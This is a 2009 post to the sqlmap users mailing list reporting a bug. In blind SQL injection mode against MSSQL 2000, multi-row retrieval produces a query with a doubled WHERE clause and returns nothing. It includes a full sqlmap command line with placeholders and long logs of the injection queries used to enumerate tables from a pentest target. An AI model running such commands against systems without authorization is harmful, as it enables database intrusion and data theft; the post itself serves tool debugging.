[sqlmap-users] Bug: Multiple result retrieval from MSSQL 2000 in Blind SQL mode fails
Brought to you by:
inquisb
From: Konrads S. <ko...@sm...> - 2009-01-28 12:49:02
|
Hello, While pentesting a client's solution, I discovered that sqlmap fails to retrieve multiple entries (e.g. tables). sql> select name from client [14:32:40] [INFO] fetching SQL SELECT statement query output: 'select name from client' [14:32:40] [INPUT] can the SQL query provided return multiple entries? [Y/n] [14:32:41] [INFO] query: SELECT ISNULL(CAST(COUNT(name) AS VARCHAR(8000)), CHAR(32)) FROM client [14:32:41] [INFO] retrieved: 14 [14:32:49] [INFO] performed 20 queries in 7 seconds [14:32:49] [INPUT] the SQL query provided can return up to 14 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit Choice: a [14:32:51] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM client WHERE name NOT IN (SELECT TOP 0 name FROM client) [14:32:51] [INFO] retrieved: ValidResponse1 [14:33:17] [INFO] performed 69 queries in 26 seconds [14:33:17] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM client WHERE name NOT IN (SELECT TOP 1 name FROM client) [14:33:17] [INFO] retrieved: ValidResponse2 ... [14:35:05] [INFO] retrieved: Restor^C [14:35:24] [ERROR] user aborted [*] shutting down at: 14:35:24 So far, works! konrads@talon:~/sqlmap$ ./sqlmap.py --method="POST" --data="${DATA}" -p z4 -u "http://${IP}/${URL};jsessionid=${JSESSIONID}" --proxy=" http://localhost:8080" --string="${STRING}" -s somesession --sql-shell sqlmap/0.6.4-rc4 coded by Bernardo Damele A. G. < ber...@gm...> and Daniele Bellucci <dan...@gm...> [*] starting at: 14:35:25 [14:35:25] [INFO] resuming .... web server operating system: Windows 2003 web application technology: Microsoft IIS 6.0, JSP back-end DBMS: Microsoft SQL Server 2000 [14:35:26] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER sql> sql> select name from sysobjects where xtype='U' [14:36:11] [INFO] fetching SQL SELECT statement query output: 'select name from sysobjects where xtype='U'' [14:36:11] [INPUT] can the SQL query provided return multiple entries? [Y/n] [14:36:12] [INFO] query: SELECT ISNULL(CAST(COUNT(name) AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE xtype=CHAR(85) [14:36:12] [INFO] retrieved: 28 [14:36:19] [INFO] performed 20 queries in 7 seconds [14:36:19] [INPUT] the SQL query provided can return up to 28 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit Choice: a [14:36:21] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE xtype=CHAR(85) WHERE name NOT IN (SELECT TOP 0 name FROM sysobjects WHERE xtype=CHAR(85)) [14:36:21] [INFO] retrieved: [14:36:24] [INFO] performed 6 queries in 2 seconds [14:36:24] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE xtype=CHAR(85) WHERE name NOT IN (SELECT TOP 1 name FROM sysobjects WHERE xtype=CHAR(85)) [14:36:24] [INFO] retrieved: [14:36:26] [INFO] performed 6 queries in 2 seconds [14:36:26] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE xtype=CHAR(85) WHERE name NOT IN (SELECT TOP 2 name FROM sysobjects WHERE xtype=CHAR(85)) [14:36:26] [INFO] retrieved: [14:36:29] [INFO] performed 6 queries in 2 seconds [14:36:29] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE xtype=CHAR(85) WHERE name NOT IN (SELECT TOP 3 name FROM sysobjects WHERE xtype=CHAR(85)) [14:36:29] [INFO] retrieved: [14:36:31] [INFO] performed 6 queries in 2 seconds [14:36:31] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE xtype=CHAR(85) WHERE name NOT IN (SELECT TOP 4 name FROM sysobjects WHERE xtype=CHAR(85)) [14:36:31] [INFO] retrieved: ^C [14:36:32] [ERROR] user aborted [*] shutting down at: 14:36:32 And so it goes on, without retrieving anything. --tables switch fails equally. However, doing a simple select name from sysobjects works. [14:39:52] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER sql> select name from sysobjects [14:39:56] [INFO] fetching SQL SELECT statement query output: 'select name from sysobjects ' [14:39:56] [INPUT] can the SQL query provided return multiple entries? [Y/n] [14:39:57] [INFO] query: SELECT ISNULL(CAST(COUNT(name) AS VARCHAR(8000)), CHAR(32)) FROM sysobjects [14:39:57] [INFO] retrieved: 86 [14:40:04] [INFO] performed 20 queries in 7 seconds [14:40:04] [INPUT] the SQL query provided can return up to 86 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit Choice: [14:40:06] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE name NOT IN (SELECT TOP 0 name FROM sysobjects ) [14:40:06] [INFO] retrieved: Tbl1 [14:40:22] [INFO] performed 41 queries in 15 seconds [14:40:22] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), CHAR(32)) FROM sysobjects WHERE name NOT IN (SELECT TOP 1 name FROM sysobjects ) [14:40:22] [INFO] retrieved: Tbl2 ... -- Konrads Smelkovs Applied IT sorcery. |